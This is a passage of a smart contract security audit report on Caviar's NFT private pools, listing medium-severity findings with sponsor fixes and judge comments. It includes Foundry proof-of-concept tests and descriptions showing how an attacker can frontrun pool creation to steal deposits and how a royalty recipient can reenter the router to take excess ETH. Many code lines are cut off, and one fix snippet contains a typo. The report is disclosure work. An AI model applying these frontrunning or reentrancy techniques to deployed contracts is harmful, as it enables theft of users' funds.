733:         uint256 exponent = baseToken == address(0) ? 18 - 4
734:         uint256 feePerNft = changeFee * 10 ** exponent;
735:
736:         feeAmount = inputAmount * feePerNft / 1e18;
737:         protocolFeeAmount = feeAmount * Factory(factory).pr
738:     }
```

As we can see in the previous snippet, in case the `baseToken` is an ERC20, then the exponent is calculated as `ERC20(baseToken).decimals() - 4`. The main issue here is that if the token decimals are less than 4, then the subtraction will cause an underflow due to Solidity's default checked math, causing the whole transaction to be reverted.

Such tokens with low decimals exist, one major example is GUSD, Gemini dollar, which has only two decimals. If any of these tokens is used as the base token of a pool, then any call to the `change` will be reverted, as the scaling of the charge fee will result in an underflow.

Proof of Concept

In the following test we recreate the "Gemini dollar" token (GUSD) which has 2 decimals and create a Private Pool using it as the base token. Any call to `change` or `changeFeeQuote` will be reverted due to an underflow error.

Note: the snippet shows only the relevant code for the test. Full test file can be found here.

```
function test_PrivatePool_changeFeeQuote_LowDecimalToken() publi
    // Create a pool with GUSD which has 2 decimals
    ERC20 gusd = new GUSD();

    PrivatePool privatePool = new PrivatePool(
        address(factory),
        address(royaltyRegistry),
        address(stolenNftOracle)
    );
    privatePool.initialize(
        address(gusd), // address _baseToken,
        address(milady), // address _nft,
        100e18, // uint128 _virtualBaseTokenReserves,
        10e18, // uint128 _virtualNftReserves,
        500, // uint56 _changeFee,
        100, // uint16 _feeRate,
        bytes32(0), // bytes32 _merkleRoot,
        false, // bool _useStolenNftOracle,
        false // bool _payRoyalties
    );

    // The following will fail due an overflow. Calls to `change
    vm.expectRevert();
    privatePool.changeFeeQuote(1e18);
}
```

Recommended Mitigation Steps

The implementation of `changeFeeQuote` should check if the token decimals are less than 4 and handle this case by dividing by the exponent difference to correctly scale it (i.e. `chargeFee / (10 ** (4 - decimals))`). For example, in the case of GUSD with 2 decimals, a `chargeFee` value of `5000` should be treated as `0.50`.

outdoteth (Caviar) acknowledged

Alex the Entreprenerd (judge) commented:

> I have considered downgrading as I don't believe most tokens meet this requirement.

> That said, I believe the finding is valid per our rules, with some tokens, taking the `changeFeeQuote` will revert due to an assumption that `decimals - 4` wouldn't revert.

> The contracts cannot be used for those tokens, but since this is contingent on using such a low decimal token, I agree with Medium Severity and believe a nofix to be fine since most Stablecoins have more than 4 decimals.

[M-05] `EthRouter.sell`, `EthRouter.deposit`, and `EthRouter.change` functions can be DOS'ed for some ERC721 tokens

Submitted by rbserver

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L152-L209

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L219-L248

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L254-L293

https://etherscan.io/address/0xf5b0a3efb8e8e4c201e2a935f110eaaf3ffecb8d#code#L672

Impact

The following `EthRouter.sell`, `EthRouter.deposit`, and `EthRouter.change` functions call the corresponding ERC721 tokens' `setApprovalForAll` functions.

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L152-L209

```
function sell(Sell[] calldata sells, uint256 minOutputAmount
    ...
    // loop through and execute the sells
    for (uint256 i = 0; i < sells.length; i++) {
        ...
        // approve the pair to transfer NFTs from the router
        ERC721(sells[i].nft).setApprovalForAll(sells[i].pool
        ...
    }
    ...
}
```

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L219-L248

```
function deposit(
    address payable privatePool,
    address nft,
    uint256[] calldata tokenIds,
    uint256 minPrice,
    uint256 maxPrice,
    uint256 deadline
) public payable {
    ...
    // approve pair to transfer NFTs from router
    ERC721(nft).setApprovalForAll(privatePool, true);
    ...
}
```

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L254-L293

```
function change(Change[] calldata changes, uint256 deadline)
    ...
    // loop through and execute the changes
    for (uint256 i = 0; i < changes.length; i++) {
        Change memory _change = changes[i];
        ...
        // approve pair to transfer NFTs from router
        ERC721(_change.nft).setApprovalForAll(_change.pool,
        ...
```

```
        }
        ...
    }
```

For ERC721 tokens like Axie, which its `setApprovalForAll` function is shown below, calling their `setApprovalForAll` functions with the same `msg.sender` - `_operator` - `_approved` combination would revert because of requirements like `require(_tokenOperator[msg.sender][_operator] != _approved)`.

For these ERC721 tokens, calling the `EthRouter.sell`, `EthRouter.deposit`, and `EthRouter.change` functions for the first time, which call such tokens' `setApprovalForAll` functions for the first time, can succeed; however, calling the `EthRouter.sell`, `EthRouter.deposit`, and `EthRouter.change` functions again, which call such tokens' `setApprovalForAll` functions with the same pool as `_operator` and `true` as `_approved` again, will revert. In this case, the `EthRouter.sell`, `EthRouter.deposit`, and `EthRouter.change` functions are DOS'ed for such ERC721 tokens.

https://etherscan.io/address/0xf5b0a3efb8e8e4c201e2a935f110eaaf3ffecb8d#code#L672

```
    function setApprovalForAll(address _operator, bool _approved)
      require(_tokenOperator[msg.sender][_operator] != _approved);
      _tokenOperator[msg.sender][_operator] = _approved;
      ApprovalForAll(msg.sender, _operator, _approved);
    }
```

Proof of Concept

The following steps can occur for the described scenario.

1. Alice calls the `EthRouter.sell` function to sell 1 Axie NFT to a private pool, which succeeds.
2. Alice calls the `EthRouter.sell` function again to sell another Axie NFT to the same private pool. However, this function call's execution of `ERC721(sells[i].nft).setApprovalForAll(sells[i].pool, true)` reverts

because Axie's `require(_tokenOperator[msg.sender][_operator] != _approved)` reverts.

3. Bob tries to repeat Step 2 but his `EthRouter.sell` function call also reverts.
4. Hence, the `EthRouter.sell` function is DOS'ed for selling any Axie NFTs to the same private pool for any users.

Tools Used

VS Code

Recommended Mitigation Steps

The `EthRouter.sell`, `EthRouter.deposit`, and `EthRouter.change` functions can be respectively updated to check if the `EthRouter` contract has approved the corresponding pool to spend any of the corresponding ERC721 tokens received by itself. If not, the corresponding ERC721's `setApprovalForAll` function can be called; otherwise, the corresponding ERC721's `setApprovalForAll` function should not be called.

[outdoteth (Caviar) confirmed and mitigated](#):

> Fixed in: https://github.com/outdoteth/caviar-private-pools/pull/7

> Proposed fix is to skip the approval step if the pool has already been approved to transfer the NFTs from the EthRouter.

```
function _approveNfts(address nft, address target) internal {
    // check if the router is already approved to transfer NFTs
    if (ERC721(nft).isApprovedForAll(address(this), target)) ret

    // approve the target to transfer NFTs from the router
    ERC721(nft).setApprovalForAll(target, true);
}
```

[Alex the Entreprenerd (judge) commented](#):

> The Warden has shown how, the always re-approve pattern can cause reverts, this is contingent on the specific NFT used, however, AXIE is in my opinion a

> sufficiently relevant token for this finding to be valid.

> Due to it's reliance on token implementation I agree with Medium Severity.

Status: Mitigation confirmed. Full details in reports from rbserver, KrisApostolov, and rvierdiiev.

[M-06] Flashloan fee is not distributed to the factory

Submitted by rvierdiiev

When user takes a flashloan, then he pays a fee to the PrivatePool. The problem is that the whole fee amount is sent to PrivatePool and factory receives nothing.

However, all other function of contract send some part of fees to the factory.

For example, `change` function, which is similar to the `flashloan` as it doesn't change virtual nft and balance reserves. This function calculates pool and protocol fees.

But in case of flashloan, only pool receives fees.

Tools Used

VS Code

Recommended Mitigation Steps

Send some part of flashloan fee to the factory.

outdoteth (Caviar) confirmed and commented:

> Fixed in: https://github.com/outdoteth/caviar-private-pools/pull/8.

> Proposed fix is to add a method that returns the protocol fee and flash fee. And then have the flash fee function sum the two outputs:

```
function flashFeeAndProtocolFee() public view returns (uint256 f
    // multiply the changeFee to get the fee per NFT (4 decimals
```

```
        uint256 exponent = baseToken == address(0) ? 18 - 4 : ERC20(
        feeAmount = changeFee * 10 ** exponent;
        protocolFeeAmount = feeAmount * Factory(factory).protocolFee
    }


    function flashFee(address, uint256) public view returns (uint256
        (uint256 feeAmount, uint256 protocolFeeAmount) = flashFeeAnd
        return feeAmount + protocolFeeAmount;
    }
```

> and then add the protocol payment in the flashLoan method:

```
    // -- snip -- //

    if (baseToken != address(0)) {
        // transfer the fee from the borrower
        ERC20(baseToken).safeTransferFrom(msg.sender, address(this),

        // transfer the protocol fee to the factory
        ERC20(baseToken).safeTransferFrom(msg.sender, factory, proto
    } else {
        // transfer the protocol fee to the factory
        factory.safeTransferETH(protocolFee);
    }
```

Alex the Entreprenerd (judge) commented:

> @outdoteth - Can you please confirm if you originally intended to have the protocol charge a fee for Flashloans?

outdoteth (Caviar) commented:

> It was an oversight that we did not charge fees on flash loans. It's implied that it should be paid though since protocol fees are charged everywhere else a user makes a transaction.

Alex the Entreprenerd (judge) commented:

> The Warden has found an inconsistency as to how fees are paid. After confirming with the Sponsor, I agree with Medium Severity.

Status: Mitigation confirmed. Full details in reports from rbserver, KrisApostolov, and rvierdiiev.

[M-07] Royalty recipients will not get fair share of royalties

Submitted by 0xLanterns, *also found by* abiih, bshramin, adriro, CodingNameKiki, Bason, DishWasher, AkshaySrivastav, Voyvoda, saviOur, aviggiano, MiloTruck, Nyx, RaymondFam, T1MOH, DadeKuma, ElKu, Dug, sashik_eth, yixxas, J4de, *and* Ruhum

Recipients of NFTs who accept royalties will not get their fair share of royalties. This is because royalties are calculated by dividing the sales price equally amongst all sold NFTs in that purchase. The issue with this is that it assumes all NFTs cost the same amount when it comes time to deal out royalties. If NFTs cost different amounts, then they should be getting an amount of royalties based on that weight relative to the other NFTs. The impact of this is that Royalties will not be distributed evenly at the expense of the more expensive NFT. Meaning that recipients of the expensive NFT will always receive less than they are owed. And the cheaper ones will get more than owed. In short, this is a loss of funds or misdistribution of funds.

Proof of Concept

The easiest way to test this will to be add this snippet into Milady.sol.

Using this to have access to ERC2981's `setRoyaltyInfo()`:

```
file: Milady.sol
    function setRoyaltyInfo(
        uint256 _royaltyFeeRate,
        address _royaltyRecipient
    ) public {
        royaltyFeeRate = _royaltyFeeRate;
        royaltyRecipient = _royaltyRecipient;
    }

    function supportsInterface(
        bytes4 interfaceId
    ) public view override(ERC2981, ERC721) returns (bool) {
        return super.supportsInterface(interfaceId);
```

```
    }

    function royaltyInfo(
        uint256 id,
        uint256 salePrice
    ) public view override returns (address, uint256) {
        return super.royaltyInfo(id, salePrice);
    }

    function setRoyaltyInfo(uint256 id, address reciever, uint96
        super._setTokenRoyalty(id, reciever, fee);
    }
}
```

Then add this snippet to Fixture.sol:

```
file: Fixture.sol

    GodsUnchained public gu = new GodsUnchained();
```

Then add this snippet to token-weights.json:

Changing the weights to represent the two NFT's being bought in this case.

```
[
  [
    1,
    1
  ],
  [
    2,
    10
  ]
]
```

Lastly to test this, you need to add this test to Buy.t.sol:

```
    // forge test --match-test test_unevenRoyalties --ffi
    function test_unevenRoyalties() public {
```

```
// arrange
privatePool = new PrivatePool(
    address(factory),
    address(royaltyRegistry),
    address(stolenNftOracle)
);
privatePool.initialize(
    baseToken,
    address(gu),
    virtualBaseTokenReserves,
    12e18,
    changeFee,
    feeRate,
    generateMerkleRoot(),
    true,
    true
);
//> owner of nft's
address user1 = address(0xbeefbeef);
address user2 = address(0xfeebfeeb);

//> mint and push nft's one is 1x one is 10x
gu.mint(address(privatePool), 1);
tokenIds.push(1);
tokenWeights.push(1e18);

gu.mint(address(privatePool), 2);
tokenIds.push(2);
tokenWeights.push(10e18);

//> set fees. 1% for one user, 10% for the other
gu.setRoyaltyInfo(1, user1, 100);
gu.setRoyaltyInfo(2, user2, 1000);

//> set up
proofs = generateMerkleProofs(tokenIds, tokenWeights);
uint256 weightSum = privatePool.sumWeightsAndValidatePrc
    tokenIds,
    tokenWeights,
    proofs
);
(uint256 netInputAmount, , ) = privatePool.buyQuote(weig

//> buy
privatePool.buy{value: netInputAmount * 2}(
    tokenIds,
```

```
            tokenWeights,
            proofs
        );

        //> assert that users got equal reserves. with different
        //> the royalty fee of user2 is 10 times greater than us
        //> user 1: 1% of 1 eth = 0.01 eth
        //> user 2: 10% of 10 eth = 1 eth
        //> 0.01 eth * 100 = 1eth.
        //> user 2 should be getting 100 times more royalties th
        assertEq(user1.balance * 10, address(user2).balance);
    }
```

Tools Used

Foundry

Recommended Mitigation Steps

To address this issue, it is recommended that the weight of NFTs relative to other NFTs being purchased should be taken into consideration when calculating royalties.

outdoteth (Caviar) acknowledged, but disagreed with severity and commented:

> It is commented in the code that it's assumed all NFTs in the purchase are of the same price: https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L334

> Assuming that the recipient is the same for each NFTs royalty payment (which it almost always is in practice), then this makes sense.

> NFT 1 is worth 1 ETH
> NFT 2 is worth 2 ETH<

> (1 + 2) / 2 = 1.5 ETH
> 1 / 2 + 2 / 2 = 1.5 ETH

> The output is the same. The additional complexity of individually calculating each price is not worth it.

Alex the Entreprenerd (judge) decreased severity to Medium and commented:

> I believe that the finding is valid because the EIP specifies that each NFT may have a different royalty, the contract is still fetching the specific royalty for each NFT id, leading me to believe that this will cause incorrect royalty payouts in specific cases in which a collection has different royalties based on the NFT id.

> As a developer, I agree with the Sponsor with a nofix and believe in practice that this should not be an issue.

> As a Judge, I believe the finding meets the requirements of improperly implementing an EIP, which can cause a loss of yield. For this reason, I think Medium Severity to be appropriate.

[M-08] Loss of funds for traders due to accounting error in royalty calculations

Submitted by AkshaySrivastav, *also found by* chaduke, bshramin, adriro, saian, 0xRobocop, adriro, Koolex, tallo, rbserver, rvierdiiev, rvierdiiev, cryptonue, bin2chen, chaduke, *and* sashik_eth

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L237-L281

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L328-L355

Impact

The `PrivatePool.buy` and `PrivatePool.sell` functions intend to distribute royalty amount whenever NFTs are traded. The implementation of buy and sell looks like this:

```
    function buy(uint256[] calldata tokenIds, uint256[] calldata
        public
        payable
        returns (uint256 netInputAmount, uint256 feeAmount, uint
    {
        // ...
```

```
    // calculate the sale price (assume it's the same for ea
    uint256 salePrice = (netInputAmount - feeAmount - protoc
    uint256 royaltyFeeAmount = 0;
    for (uint256 i = 0; i < tokenIds.length; i++) {
        // transfer the NFT to the caller
        ERC721(nft).safeTransferFrom(address(this), msg.senc

        if (payRoyalties) {
            // get the royalty fee for the NFT
            (uint256 royaltyFee,) = _getRoyalty(tokenIds[i],

            // add the royalty fee to the total royalty fee
            royaltyFeeAmount += royaltyFee;
        }
    }

    // add the royalty fee amount to the net input aount
    netInputAmount += royaltyFeeAmount;

    // ...

    if (payRoyalties) {
        for (uint256 i = 0; i < tokenIds.length; i++) {
            // get the royalty fee for the NFT
            (uint256 royaltyFee, address recipient) = _getRc

            // transfer the royalty fee to the recipient if
            if (royaltyFee > 0 && recipient != address(0)) {
                if (baseToken != address(0)) {
                    ERC20(baseToken).safeTransfer(recipient,
                } else {
                    recipient.safeTransferETH(royaltyFee);
                }
            }
        }
    }

    // emit the buy event
    emit Buy(tokenIds, tokenWeights, netInputAmount, feeAmou
}

function sell(
    ...
) public returns (...) {
    // ...
```

```
        uint256 royaltyFeeAmount = 0;
        for (uint256 i = 0; i < tokenIds.length; i++) {
            // transfer each nft from the caller
            ERC721(nft).safeTransferFrom(msg.sender, address(thi

            if (payRoyalties) {
                // calculate the sale price (assume it's the sam
                uint256 salePrice = (netOutputAmount + feeAmount

                // get the royalty fee for the NFT
                (uint256 royaltyFee, address recipient) = _getRo

                // tally the royalty fee amount
                royaltyFeeAmount += royaltyFee;

                // transfer the royalty fee to the recipient if
                if (royaltyFee > 0 && recipient != address(0)) {
                    if (baseToken != address(0)) {
                        ERC20(baseToken).safeTransfer(recipient,
                    } else {
                        recipient.safeTransferETH(royaltyFee);
                    }
                }
            }
        }

        // subtract the royalty fee amount from the net output a
        netOutputAmount -= royaltyFeeAmount;

        if (baseToken == address(0)) {
            // transfer ETH to the caller
            msg.sender.safeTransferETH(netOutputAmount);

            // if the protocol fee is set then pay the protocol
            if (protocolFeeAmount > 0) factory.safeTransferETH(p
        } else {
            // transfer base tokens to the caller
            ERC20(baseToken).transfer(msg.sender, netOutputAmour

            // if the protocol fee is set then pay the protocol
            if (protocolFeeAmount > 0) ERC20(baseToken).safeTrar
        }

        // ...
    }
```

It should be noted that while calculating `royaltyFeeAmount` the the `recipient` address returned from `_getRoyalty` function is ignored and the returned `royaltyFee` is added to the `royaltyFeeAmount`. This cumulative royalty amount is then collected from the trader.

However while performing the actual royalty transfer to the royalty recipient the returned `recipient` address is validated to not be equal to 0. The royalty is only paid when the `recipient` address is non-zero.

This inconsistency between royalty collection and royalty distribution can cause loss of funds to the traders. In the cases when `royaltyFee` is non-zero but `recipient` address is zero, the fee will be collected from traders but won't be distributed to royalty recipient. Hence causing loss of funds to the traders.

As the creation of private pools is open to everyone, the likelihood of this vulnerability is high.

Proof of Concept

Consider this scenario:

- A buyer initiates the `buy` call for an NFT.
- The `PrivatePool.buy` function queries the `_getRoyalty` function which returns 10 WETH as the `royaltyFee` and `0x00` address as the royalty recipient.
- This 10 WETH value will be added to the `royaltyFeeAmount` amount and will be collected from the buyer.
- But since the recipient address is `0x00`, the 10 WETH royalty amount will not be distributed.
- The 10 WETH amount won't be returned to the buyer either. It just simply stays inside the pool contract.
- The buyer here suffered loss of 10 WETH.

A similar scenario is possible for the NFT `sell` flow.

Recommended Mitigation Steps

Consider collecting royalty amount from traders only when the royalty recipient is non-zero.

```
        if (royaltyFee > 0 && recipient != address(0)) {
            royaltyFeeAmount += royaltyFee;
        }
```

outdoteth (Caviar) confirmed and commented:

> Fixed in: https://github.com/outdoteth/caviar-private-pools/pull/11.

> Proposed fix is to only increment the total royalty fee amount in sell() and buy() when the recipient address is not zero.

> In sell():

```
    // transfer the royalty fee to the recipient if it's greater tha
    if (royaltyFee > 0 && recipient != address(0)) {
        // tally the royalty fee amount
        royaltyFeeAmount += royaltyFee;

        if (baseToken != address(0)) {
            ERC20(baseToken).safeTransfer(recipient, royaltyFee);
        } else {
            recipient.safeTransferETH(royaltyFee);
        }
    }
```

> In buy():

```
    if (royaltyFee > 0 && recipient != address(0)) {
        // add the royalty fee to the total royalty fee amount
        royaltyFeeAmount += royaltyFee;
    }
```

Alex the Entreprenerd (judge) decreased severity to Medium and commented:

> The Warden has shown how, due to a logic discrepancy, a non-zero royalty would be removed from total paid, but wouldn't be transferred.

> The behaviour is inconsistent, so the finding is valid.

> Technically the tokens will be left in the pool, meaning the owner will be able to retrieve them.

> Factually this would end up being an additional cost to the buyer, more so than a loss of funds.

> Because the finding shows an inconsistent behavior, that doesn't cause a loss of funds beside the royalty fee, I believe Medium Severity to be the most appropriate.

Alex the Entreprenerd (judge) commented:

> At this time, with the information that I have available, the finding highlights the fact that the royalties may be paid, but not transferred to the recipient if the recipient is the address(0).

> While the OZ implementation addresses this, I don't believe older implementations would.

> I also have to concede that having non-zero royalties sent to address(0) should not be common.

> However, I maintain that the issue with the finding is not the address(0) per-se which would have been rated as Low, but the fact that in that case the behaviour is inconsistent with other cases, and that will cause a cost to the payer although the royalties will not be forwarded.

> By contrast, if the royalties were sent to address(0) I would be arguing around the idea that the royalty recipient may wish to burn such tokens and that would have been within their rights to do so.

> For the reasons above, am maintaining Medium Severity.

Status: Mitigation confirmed. Full details in reports from rbserver, KrisApostolov, and rvierdiiev.

[M-09] Malicious royalty recipient can steal excess eth from buy orders

Submitted by Voyvoda, *also found by* sashik_eth, Evo, giovannidisiena, Kenshin, philogy, 0xRobocop, teawaterwire, *and* Ruhum

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L268

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L140-L143

Impact

Users that submit single or bulk Buy orders through `EthRouter.sol` can have their excess eth stolen by a malicious royalty recipient.

Proof of Concept

Introduction

The `buy(...)` function in `PrivatePool.sol` refunds excess ether back to `EthRouter.sol` and then pays a royalty amount to a royalty recipient. The order is the following:

```
    // refund any excess ETH to the caller
    if (msg.value > netInputAmount) msg.sender.safeTransferETH(msg.v



    if (payRoyalties) {
        ...
    else {
        recipient.safeTransferETH(royaltyFee);
    }
```

This turns out to be dangerous since now `buy(...)` in `EthRouter.sol` can be reentered from the fallback function of a royalty recipient. In the fallback function

the attacker would call `buy` in the `EthRouter.sol` with an empty `Buy[] buys calldata`, `deadline=0` and `payRoyalties = false` which will skip the `for` loop in `buy(...)`, since `buys` is empty, and would reach the following block of code:

```
    // refund any surplus ETH to the caller
    if (address(this).balance > 0) {
        msg.sender.safeTransferETH(address(this).balance);
    }
```

Since now `msg.sender` is the royalty recipient he would receive all the ether that is currently residing in `EthRouter.sol` while the original `buy(...)` triggered by the user hasn't yet finished.

Before supplying a PoC implementation in Foundry, there are a few caveats to be noted.

Firstly, this issue can be more easily reproduced by assuming that the malicious royalty recipient would come either from a single `Buy` order consisting of a single `tokenId` or multiple `Buy` orders where the `tokenId` with the malicious royalty recipient is the last `tokenId` in the array of the last `Buy` order.

In the case of the `tokenId` associated with the malicious royalty recipient being positioned NOT in last place in the `tokenIds[]` array in the last `Buy` order we would have to write a `fallback` function that after collecting all the ether in `EthRouter.sol` somehow extracts information of how much ether would be needed to successfully complete the rest of the `buy(...)` invocations (that will be called on the rest of the `tokenIds[]`) and sends that ether back to `EthRouter.sol` so that the whole transaction doesn't revert due to `EthRouter.sol` being out of funds. In the presented PoC implementation it is assumed that `tokenIds` has a single token or the malicious royalty recipient is associated with the last `tokenId` in the last `Buy` if there are multiple `Buy` orders. In the case where `tokenId` is positioned not in last place a more sophisticated approach would be needed to steal the excess eth that involves inspecting the `EthRouter.buy(...)` while it resides in the transaction mempool and front-running a transaction that configures a `fallback()` function in the royalty recipient that would send the necessary amount of the stolen excess eth back to `EthRouter.sol` so that `buy(...)` doesn't revert.

PoC implementation

See warden's [original submission](#) for full details.

Note on severity

A severity rating of "High" was chosen due to the following:

1. Although the current state of the NFT market mostly has adopted NFTs that have royalty payments directly to the creator, the authors of Caviar have acknowledged the ERC-2981 standard and it is assumed they are aware that `royaltyInfo` returns an arbitrary royalty recipient address.
2. The PoC implementation in this report uses an already existing NFT project - Pixels1024 - deployed on the Polygon network that shows a use case where users are responsible for the creation of a given NFT from a collection and therefore the user-creator is assigned as a royalty recipient.
3. It is possible that future projects adopting ERC-2981 could have novel and complex interactions between who creates and who receives royalties in a given collection, therefore, extra caution should be a priority when handling `royaltyInfo` requests and the current implementation is shown to have a notable vulnerability.

Tools Used

1. Foundry
2. ERC-2981 specification - https://eips.ethereum.org/EIPS/eip-2981
3. 1024 Pixels NFT - repo; polygon;

Recommended Mitigation Steps

Rework `buy` in `EthRouter.sol` and `PrivatePool.sol`. Use reentrancy guard.

outdoteth (Caviar) acknowledged via duplicate issue `#752`

Alex the Entreprenerd (judge) decreased severity to Medium

[M-10] Incorrect protocol fee is taken when changing NFTs

Submitted by Voyvoda, *also found by* saian, GT_Blockchain, Josiah, CodingNameKiki, JGcarv, DishWasher, neumo, RaymondFam, *and* J4de

Incorrect protocol fee is taken when changing NFTs which results in profit loss for the Caviar protocol.

Proof of Concept

The protocol fee in changeFeeQuote is calculated as a percentage of the feeAmount which is based on the input amount:

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L737

```
    function changeFeeQuote(uint256 inputAmount) public view returns
        ...
        protocolFeeAmount = feeAmount * Factory(factory).protocolFee
```

This seems wrong as in buyQuote and sellQuote the protocol fee is calculated as a percentage of the input amount, not the pool fee amount:

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L703

```
    function buyQuote(uint256 outputAmount)
        ...
        protocolFeeAmount = inputAmount * Factory(factory).protocolF
```

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L721

```
    function sellQuote(uint256 inputAmount)
        ...
        protocolFeeAmount = outputAmount * Factory(factory).protocol
```

This makes the protocol fee extremely low meaning a profit loss for the protocol.

Recommended Mitigation Steps

`protocolFeeAmount` in changeFeeQuote should be a percentage of the input amount instead of the pool fee.

outdoteth (Caviar) confirmed, but disagreed with severity and commented:

> There is no risk of fund loss here. But agree that this is an issue.

outdoteth (Caviar) mitigated:

> Fix is here: https://github.com/outdoteth/caviar-private-pools/pull/13.

> Proposed fix is to add a separate fee called protocolChangeFeeRate which can be much higher than protocolFeeRate. For example, protocolChangeFeeRate could be on the order of ~20-30%. For example, if the fixed `changeFee` is 0.1 ETH, the NFT is worth 1.5 ETH, and the protocolChangeFeeRate is 30%, then the protocol fee would be 0.03 ETH on a change() or flashLoan().

```
function changeFeeQuote(uint256 inputAmount) public view returns
    // multiply the changeFee to get the fee per NFT (4 decimals
    uint256 exponent = baseToken == address(0) ? 18 - 4 : ERC20(
    uint256 feePerNft = changeFee * 10 ** exponent;

    feeAmount = inputAmount * feePerNft / 1e18;
    protocolFeeAmount = feeAmount * Factory(factory).protocolCha
}
```

> **Alex the Entreprenerd (judge) decreased severity to Medium and commented:**
> The Warden has shown an inconsistency in how protocolFees are computed, because this is limited to a loss of Yield, I believe Medium Severity to be more appropriate.

Status: Mitigation confirmed. Full details in reports from rbserver, KrisApostolov, and rvierdiiev.

[M-11] `Factory.create` : Predictability of pool address creates multiple issues.

Submitted by AkshaySrivastav, *also found by* sashik_eth, saian, adriro, said, fs0c, philogy, carlitox477, holyhansss_kr, hasmama, juancito, Dug, GT_Blockchain, bin2chen, hihen, ladboy233, zion, dingo2077, yixxas, 0xTheC0der, *and* Haipls

The `Factory.create` function is responsible for creating new `PrivatePool` s. It does this using the `LibClone.cloneDeterministic` function.

```
function create(
    ...
    bytes32 _salt,
    ...
) public payable returns (PrivatePool privatePool) {
    if ((_baseToken == address(0) && msg.value != baseTokenA
        revert PrivatePool.InvalidEthAmount();
    }

    // deploy a minimal proxy clone of the private pool impl
    privatePool = PrivatePool(payable(privatePoolImplementat

    // ...
}
```

The address of the new PrivatePool depends solely upon the `_salt` parameter provided by the user. Once the user's create transaction is broadcasted, the `_salt` parameter can be viewed by anyone watching the public mempool.

This public readability of `_salt` parameter creates two issues:

1. Stealing of user's deposit amount.
   If a user intends to create new pool and deposit some funds in it then an attacker can frontrun the user's txns and capture the deposit amounts. Here is how this can happen:

   - User broadcasts two txns, first one to create a pool with `XXX` as the salt and second one to deposit some ETH into the new pool.

- The attacker views these pending txns and frontruns them to create a PrivatePool for himself with same `XXX` salt.
- The new pool gets created for the attacker, the address of this pool will be same as what the user will be expecting for his pool.
- The user's create pool txn gets reverted but deposit txn gets executed successfully. Hence the user deposited ETH in attacker's pool.
- Being the owner of the pool the attacker simply withdraws the deposited ETH from the PrivatePool.

2. DoS for `Factory.create`.

   If a user intends to create a PrivatePool, his create txn can be forcefully reverted by an attacker by deploying a pool for himself using the user's salt. Here is how this can happen:

   - The user broadcasts the create pool txn with salt `XXX`.
   - The attacker frontruns the user's txn and creates a pool for hiself using the same `XXX` salt.
   - The user's original create txn gets reverted as attacker's pool already exist on the predetermined address.
   - This attack can be repeated again and again resulting in DoS for the `Factory.create` function.

Proof of Concept

These test cases were added to `test/PrivatePool/Withdraw.t.sol` file and were ran using `forge test --ffi --mp test/PrivatePool/Withdraw.t.sol --mt test_audit`

```
    function test_audit_create_stealDeposit() public {
        address user1 = makeAddr("user1");
        vm.deal(user1, 10 ether);
        vm.startPrank(user1);

        address predictedAddress = factory.predictPoolDeployment

        // tries to create pool and deposit funds
        // 1. factory.create(...)
        // 2. pool.deposit(...)
```

```
        // but user2 frontruns the txns

        address user2 = makeAddr("user2");
        changePrank(user2);

        uint baseTokenAmount = 0;

        PrivatePool pool = factory.create{value: baseTokenAmount
            baseToken,
            nft,
            virtualBaseTokenReserves,
            virtualNftReserves,
            changeFee,
            feeRate,
            merkleRoot,
            true,
            false,
            bytes32(0),
            tokenIds,
            baseTokenAmount
        );
        assertEq(predictedAddress, address(pool));
        assertEq(factory.ownerOf(uint256(uint160(address(pool)))

        changePrank(user1);

        vm.expectRevert(LibClone.DeploymentFailed.selector);
        factory.create{value: baseTokenAmount}(
            baseToken,
            nft,
            virtualBaseTokenReserves,
            virtualNftReserves,
            changeFee,
            feeRate,
            merkleRoot,
            true,
            false,
            bytes32(0),
            tokenIds,
            baseTokenAmount
        );

        pool.deposit{ value: 10 ether }(tokenIds, 10 ether);
        assertEq(address(pool).balance, 10 ether);
```

```
        changePrank(user2);
        pool.withdraw(address(0), tokenIds, address(0), 10 ether
        assertEq(address(pool).balance, 0);
        assertEq(user2.balance, 10 ether);
    }

    function test_audit_create_DoS() public {
        address user1 = makeAddr("user1");
        vm.deal(user1, 10 ether);
        vm.startPrank(user1);

        address predictedAddress = factory.predictPoolDeployment

        // user1 tries to create pool
        // factory.create(...)

        // but user2 frontruns the txn

        address user2 = makeAddr("user2");
        changePrank(user2);

        uint baseTokenAmount = 0;

        PrivatePool pool = factory.create{value: baseTokenAmount
            baseToken,
            nft,
            virtualBaseTokenReserves,
            virtualNftReserves,
            changeFee,
            feeRate,
            merkleRoot,
            true,
            false,
            bytes32(0),
            tokenIds,
            baseTokenAmount
        );
        assertEq(predictedAddress, address(pool));
        assertEq(factory.ownerOf(uint256(uint160(address(pool))))

        changePrank(user1);

        vm.expectRevert(LibClone.DeploymentFailed.selector);
        factory.create{value: baseTokenAmount}(
            baseToken,
            nft,
```

```
            virtualBaseTokenReserves,
            virtualNftReserves,
            changeFee,
            feeRate,
            merkleRoot,
            true,
            false,
            bytes32(0),
            tokenIds,
            baseTokenAmount
        );
    }
```

Tools Used

Foundry

Recommended Mitigation Steps

Consider making the upcoming pool address user specific by combining the salt value with user's address.

```
    privatePool = PrivatePool(payable(privatePoolImplementation.
        keccak256(abi.encode(msg.seender, _salt))
    )));
```

outdoteth (Caviar) confirmed and mitigated:

> Fixed in: https://github.com/outdoteth/caviar-private-pools/pull/9

> The proposed fix is to include the msg.sender in the salt of the proxy deployment:

```
// deploy a minimal proxy clone of the private pool implementati
bytes32 salt = keccak256(abi.encode(msg.sender, _salt));
privatePool = PrivatePool(payable(privatePoolImplementation.clor
```

Alex the Entreprenerd (judge) commented:

